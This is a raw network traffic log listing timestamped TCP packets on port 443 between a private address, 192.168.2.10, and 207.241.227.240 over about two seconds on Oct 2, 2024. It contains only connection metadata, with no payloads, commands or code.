Oct 2, 2024 05:29:22.620484114 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.621009111 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.621025085 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.621102095 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.621107101 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.621177912 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.684535980 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.684551001 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.684674025 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.684681892 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.684747934 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.686454058 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.686470032 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.686527014 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.686532974 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.686578035 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.687149048 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.687164068 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.687215090 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.687218904 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.687335968 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.750494957 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.750547886 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.750713110 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.750720024 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.750776052 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.752541065 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.752562046 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.752686024 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.752691031 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.752737999 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.752769947 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.753266096 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.753283024 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.753381968 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.753386974 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.753520012 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.816956043 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.817023039 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.817121983 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.817132950 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.817188978 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.817188978 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.885626078 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.885660887 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.885785103 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.885797024 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.885972023 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.886188030 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.886209965 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.886265993 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.886271954 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.886297941 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.886324883 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.886723995 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.886745930 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.886836052 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.886842966 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.886862993 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.887037992 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.887443066 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.887470961 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.887517929 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.887523890 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.887579918 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.887579918 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.952290058 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.952316999 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.952457905 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.952467918 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.952510118 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.952838898 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.952856064 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.952915907 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.952922106 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.952970028 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.953512907 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.953530073 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.953587055 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.953587055 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:22.953593016 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:22.953634024 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.015571117 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.015599012 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.015714884 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.015724897 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.015872002 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.018836021 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.018856049 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.019011021 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.019025087 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.019113064 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.084434032 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.084476948 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.084614992 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.084614992 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.084625006 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.084728956 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.147422075 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.147449017 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.147582054 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.147594929 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.147739887 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.150882959 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.150901079 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.150962114 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.150969028 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.151026964 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.213587999 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.213608980 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.213792086 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.213805914 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.213855028 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.217205048 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.217221022 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.217304945 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.217310905 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.217386961 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.280129910 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.280148029 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.280318022 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.280328035 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.280426979 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.283449888 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.283468008 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.283530951 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.283536911 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.283704042 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.349332094 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.349356890 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.349483967 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.349498987 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.349541903 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.349865913 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.349883080 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.349937916 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.349944115 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.349987030 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.416084051 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.416105986 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.416233063 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.416245937 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.416318893 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.416886091 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.416902065 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.417010069 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.417020082 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.417068005 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.482647896 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.482666969 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.482944012 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.482959032 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.483026981 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.483372927 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.483400106 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.483485937 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.483485937 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.483493090 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.483552933 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.549372911 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.549397945 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.549554110 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.549566984 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.549617052 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.549762964 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.549779892 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.549829960 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.549835920 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.549881935 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.615262032 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.615283966 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.615478992 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.615487099 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.615572929 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.615993023 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.616008997 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.616055012 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.616060019 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.616077900 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.616113901 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.681529045 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.681550026 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.681708097 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.681714058 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.681765079 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.682296038 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.682310104 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.682380915 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.682384968 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.682436943 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.747792006 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.747817993 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.747908115 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.747926950 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.747956038 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.748008966 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.748548031 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.748569012 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.748609066 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.748614073 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.748637915 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.748692036 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.813968897 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.813990116 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.814104080 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.814115047 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.814178944 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.814608097 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.814625978 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.814716101 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.814721107 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.814755917 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.814755917 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.876523018 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.876550913 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.876708031 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.876724005 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.876804113 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.880647898 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.880664110 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.880753994 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.880760908 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.880772114 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.880831957 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.942802906 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.942823887 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.943016052 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.943026066 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.943078995 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.946615934 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.946633101 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.946727991 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.946733952 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.946809053 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.947335005 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.947350025 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.947410107 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:23.947415113 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:23.947472095 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.012959957 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.012979031 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.013204098 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.013216972 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.013278961 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.013592958 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.013608932 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.013679028 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.013684988 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.013761044 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.079267979 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.079287052 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.079428911 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.079437017 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.079523087 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.079783916 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.079799891 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.079900980 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.079900980 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.079906940 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.079961061 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.141693115 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.141716003 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.141845942 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.141855001 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.141915083 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.145757914 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.145775080 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.145961046 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.145967960 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.146009922 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.146347046 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.146363974 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.146425962 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.146430969 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.146490097 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.211935043 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.211961985 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.212038040 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.212045908 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.212136030 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.212136030 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.212649107 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.212666035 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.212754965 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.212760925 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.212832928 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.278104067 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.278131962 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.278335094 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.278350115 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.278424978 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.278690100 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.278706074 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.278764963 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.278773069 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.278873920 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.340646982 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.340672970 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.340800047 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.340818882 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.340883017 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.344490051 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.344512939 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.344655037 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.344679117 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.344744921 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.345098019 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.345118999 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.345238924 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.345238924 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.345249891 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.345305920 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.406862974 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.406879902 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.406975985 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.406990051 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.407006979 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.407032967 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.415276051 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.415302992 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.415347099 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.415374041 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.415406942 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.415426016 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.415884018 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.415905952 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.415972948 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.415982962 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.416030884 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.481374979 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.481395006 CEST	443	49706	207.241.227.240	192.168.2.10
Oct 2, 2024 05:29:24.481503010 CEST	49706	443	192.168.2.10	207.241.227.240
Oct 2, 2024 05:29:24.481523991 CEST	443	49706	207.241.227.240	192.168.2.10
